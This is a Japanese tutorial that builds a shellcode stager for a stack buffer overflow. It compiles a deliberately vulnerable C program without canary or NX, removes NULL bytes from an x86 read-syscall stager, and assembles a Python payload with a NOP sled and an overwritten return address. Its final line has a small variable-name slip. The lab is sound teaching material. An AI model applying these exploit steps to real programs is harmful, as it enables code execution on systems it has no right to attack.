#stagerとは
shellcodeを組み立てる際、NULLバイトやスペース、改行が使用できない場合や、shellcodeの大きさに制限がある場合があります。
その際にstagerが役立ちます。
stagerは、shellcodeを受信できるコンパクトなコードです。stagerを対象のプログラム上で起動させてから、shellcodeを送り込むことになります。
#ターゲット
今回は以下のコードをターゲットにします。
#include <stdio.h>
void input()
{
int a = 0x33333333;
int b = 0x44444444;
char user[8] = "";
char pass[8] = "";
printf("user and pass\n");
scanf("%s", user);
// scanf("%s", pass);
}
int main()
{
input();
return 0;
}
以下のコマンドでコンパイルし、checksecを行います。
$ gcc -O0 -fno-stack-protector -z execstack -g -o target target.c
k$ ~/checksec.sh/checksec --file=target
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 76) Symbols No 0 0 target
CANARYとNXが無効になっていることを確認してください。
#プログラムのスタックを確認する
objdumpでinput()を確認します。
0804845b <input>:
804845b: 55 push ebp
804845c: 89 e5 mov ebp,esp
804845e: 83 ec 28 sub esp,0x28
8048461: c7 45 f4 33 33 33 33 mov DWORD PTR [ebp-0xc],0x33333333
8048468: c7 45 f0 44 44 44 44 mov DWORD PTR [ebp-0x10],0x44444444
804846f: c7 45 e8 00 00 00 00 mov DWORD PTR [ebp-0x18],0x0
8048476: c7 45 ec 00 00 00 00 mov DWORD PTR [ebp-0x14],0x0
804847d: c7 45 e0 00 00 00 00 mov DWORD PTR [ebp-0x20],0x0
8048484: c7 45 e4 00 00 00 00 mov DWORD PTR [ebp-0x1c],0x0
CANARYとNXが無効なため、scanf()にバッファオーバーフローの脆弱性があります。
stagerを書く
stagerはshellcodeを読み込むため、システムコールreadを呼び出すように作成します。
readはeaxが3、ebxが0、ecxに読み込み先のアドレス、edxに読み込むサイズを指定し、int 80で呼び出します。
まずは、単純なstagerを作成してみます。
BITS 32
_start:
sub esp, 0x80
mov eax, 3
mov ebx, 0
mov ecx, esp
mov edx, 0x80
int 0x80
push ecx
ret
コンパイルし、xxdで内容を確認します。
$ nasm stager_error.asm
$ xxd stager_error
00000000: 81ec 8000 0000 b803 0000 00bb 0000 0000 ................
00000010: 89e1 ba80 0000 00cd 8051 c3 .........Q.
このプログラムは単体なら動作しますが、scanfに渡すと動作しません。
理由は、NULLバイトが大量に含まれているためです。次に、NULLバイトを削除します。
NULLバイトの削除
① mov eax, 0x3 は、0x3にNULLバイトが含まれるため、mov al, 0x3に置き換える
② mov ebx, 0 は、 xor ebx, ebxに置き換える。
置き換えたコードは以下になります
BITS 32
_start:
sub sp, 0x80
xor eax, eax
mov al, 0x3
xor ebx, ebx
mov ecx, esp
mov dl, 0x80
int 0x80
push ecx
ret
$ nasm stager_success.asm
$ xxd stager_success
00000000: 6681 ec80 0031 c0b0 0331 db89 e1b2 80cd f....1...1......
00000010: 8051 c3 .Q.
NULLバイトが削除されています。
exploitの準備
1, 配列userのアドレスを得る
gdbを起動し、input()にブレークポイントをセットした後、ebpの値を確認します。
$ gdb target
(gdb) b input
Breakpoint 1 at 0x8048461: file target.c, line 5.
(gdb) run
Starting program: /home/stager/work/target
Breakpoint 1, input () at target.c:5
5 int a = 0x33333333;
(gdb) disas
Dump of assembler code for function input:
0x0804845b <+0>: push %ebp
0x0804845c <+1>: mov %esp,%ebp
0x0804845e <+3>: sub $0x28,%esp
=> 0x08048461 <+6>: movl $0x33333333,-0xc(%ebp)
0x08048468 <+13>: movl $0x44444444,-0x10(%ebp)
0x0804846f <+20>: movl $0x0,-0x18(%ebp)
0x08048476 <+27>: movl $0x0,-0x14(%ebp)
0x0804847d <+34>: movl $0x0,-0x20(%ebp)
0x08048484 <+41>: movl $0x0,-0x1c(%ebp)
0x0804848b <+48>: sub $0xc,%esp
0x0804848e <+51>: push $0x8048570
0x08048493 <+56>: call 0x8048320 <puts@plt>
...
End of assembler dump.
(gdb) print $ebp
$1 = (void *) 0xbffff5d8
$ebpが0xbffff5d8なので、配列userは-0x18で0xbffff5C0です。
2 stagerを注入する
リターンアドレスを書き換えるため、0x18 + 0x4 = 0x1C個ダミーのデータを入れてリターンアドレスに到達します。
次に、リターンアドレスを書き換えますが、$ebp+4(0xbffff5dc)より大きければ良いです。
続いて、NOP(90)を適当な数配置します。NOP Sledと呼ばれる手法で、NOPに処理が渡ることで先頭アドレスを厳密に計算する必要がなくなります。
次に stagerを注入します。
pythonでコードを作成します。
import struct
def pI(addr):
return struct.pack('<I', addr)
with open('stager', 'rb') as f:
stager = f.read()
payload = b'A' * 0x1c
payload += pI(0xbffff5dc + 0x20)
payload += b'\x90' * 0x30
payload += stage
最後にsocket.sendなどでstagerを注入します。